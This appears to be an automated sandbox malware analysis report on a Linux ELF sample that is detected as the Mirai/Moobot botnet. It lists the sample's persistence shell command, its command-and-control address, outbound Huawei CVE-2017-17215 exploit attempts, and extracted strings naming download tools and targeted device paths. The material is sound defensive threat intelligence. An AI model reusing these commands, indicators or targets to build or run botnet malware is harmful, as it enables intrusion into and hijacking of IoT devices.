Edit tour

Linux Analysis Report
q4zH330dlR.elf

Overview

General Information

Sample name:	q4zH330dlR.elf renamed because original name is a hash value
Original sample name:	bdff626c52fb44c1beb266f140ae65cd.elf
Analysis ID:	1410279
MD5:	bdff626c52fb44c1beb266f140ae65cd
SHA1:	f154a223bae1efec25150085fe5c768fba808942
SHA256:	ab98ed0962904671af642cb4237550ff10c5da2caba3ed801c21c29d63ec1aff
Tags:	32elfmiraimotorola
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1410279
Start date and time:	2024-03-17 03:42:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	q4zH330dlR.elf renamed because original name is a hash value
Original Sample Name:	bdff626c52fb44c1beb266f140ae65cd.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1025@20/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/q4zH330dlR.elf
PID:	5569
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:	mv: cannot stat '/tmp/q4zH330dlR.elf'$'\377\377\377\377\377\377\354''H': No such file or directory chmod: cannot access ''$'\377\354''Hbin/systemd': No such file or directory

Process Tree

system is lnxubuntu20

q4zH330dlR.elf (PID: 5569, Parent: 5492, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/q4zH330dlR.elf

q4zH330dlR.elf New Fork (PID: 5571, Parent: 5569)

sh (PID: 5571, Parent: 5569, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd\\xff\\xec0\\x80 && mv /tmp/q4zH330dlR.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80; chmod 777 \\xff\\xecHbin/systemd"

sh New Fork (PID: 5573, Parent: 5571)

rm (PID: 5573, Parent: 5571, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 5574, Parent: 5571)

mkdir (PID: 5574, Parent: 5571, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5575, Parent: 5571)

mv (PID: 5575, Parent: 5571, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/q4zH330dlR.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80

sh New Fork (PID: 5577, Parent: 5571)

chmod (PID: 5577, Parent: 5571, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 \\xff\\xecHbin/systemd

q4zH330dlR.elf New Fork (PID: 5578, Parent: 5569)

q4zH330dlR.elf New Fork (PID: 5580, Parent: 5578)

q4zH330dlR.elf New Fork (PID: 5582, Parent: 5578)

xfce4-session New Fork (PID: 5602, Parent: 3074)

xfdesktop (PID: 5602, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5603, Parent: 3074)

xfdesktop (PID: 5603, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5604, Parent: 3074)

xfdesktop (PID: 5604, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5616, Parent: 3074)

xfdesktop (PID: 5616, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

xfce4-session New Fork (PID: 5619, Parent: 3074)

xfdesktop (PID: 5619, Parent: 3074, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 2975cc77d-4424-4c3b-abac-4708c6227ebe

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
q4zH330dlR.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
q4zH330dlR.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
q4zH330dlR.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
q4zH330dlR.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1000f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10023:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10037:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1004b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10073:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10087:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1009b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10113:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10127:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1013b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1014f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10163:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10177:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1018b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1000f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10023:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10037:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1004b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10073:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10087:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1009b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10113:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10127:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1013b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1014f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10163:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10177:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1018b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: q4zH330dlR.elf PID: 5569	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: q4zH330dlR.elf PID: 5569	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: q4zH330dlR.elf PID: 5569	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x5aba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ace:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ae2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5af6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b0a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b1e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b32:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b46:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b5a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b6e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b82:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b96:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5baa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5bbe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5bd2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5be6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5bfa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5c0e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5c22:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5c36:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5c4a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.56.157.125

Timestamp:	03/17/24-03:43:33.292461
SID:	2829579
Source Port:	49804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.36.196.28

Timestamp:	03/17/24-03:44:29.927984
SID:	2829579
Source Port:	43104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:04.654403
SID:	2030490
Source Port:	56856
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:07.781325
SID:	2030490
Source Port:	56834
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:33.769162
SID:	2030490
Source Port:	56844
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.130.81

Timestamp:	03/17/24-03:44:35.193004
SID:	2829579
Source Port:	38080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:33.769344
SID:	2030490
Source Port:	56866
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:00.003514
SID:	2030490
Source Port:	56832
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:56.878290
SID:	2030490
Source Port:	56854
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:52.212377
SID:	2030490
Source Port:	56830
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:28.001310
SID:	2030490
Source Port:	56862
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:27.986958
SID:	2030490
Source Port:	56840
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:18.215860
SID:	2030490
Source Port:	56860
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:50.117647
SID:	2030490
Source Port:	56852
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:43.534641
SID:	2030490
Source Port:	56870
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:51.105733
SID:	2030490
Source Port:	56874
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:11.454317
SID:	2030490
Source Port:	56836
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:47.347072
SID:	2030490
Source Port:	56850
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:11.427364
SID:	2030490
Source Port:	56858
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.130.81

Timestamp:	03/17/24-03:44:35.193004
SID:	2835222
Source Port:	38080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:46.322314
SID:	2030490
Source Port:	56872
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:21.216971
SID:	2030490
Source Port:	56838
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:42.557156
SID:	2030490
Source Port:	56848
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.56.157.125

Timestamp:	03/17/24-03:43:33.292461
SID:	2835222
Source Port:	49804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 109.36.196.28

Timestamp:	03/17/24-03:44:29.927984
SID:	2835222
Source Port:	43104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpkillkillalltftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt//bin/watchdog/bin/systemdrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56830 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56832 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56834 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56836 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56838 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56840 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49804 -> 197.56.157.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49804 -> 197.56.157.125:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56844 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56848 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56850 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56852 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56854 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56856 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56858 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56860 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56862 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43104 -> 109.36.196.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43104 -> 109.36.196.28:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56866 -> 103.172.79.74:43957
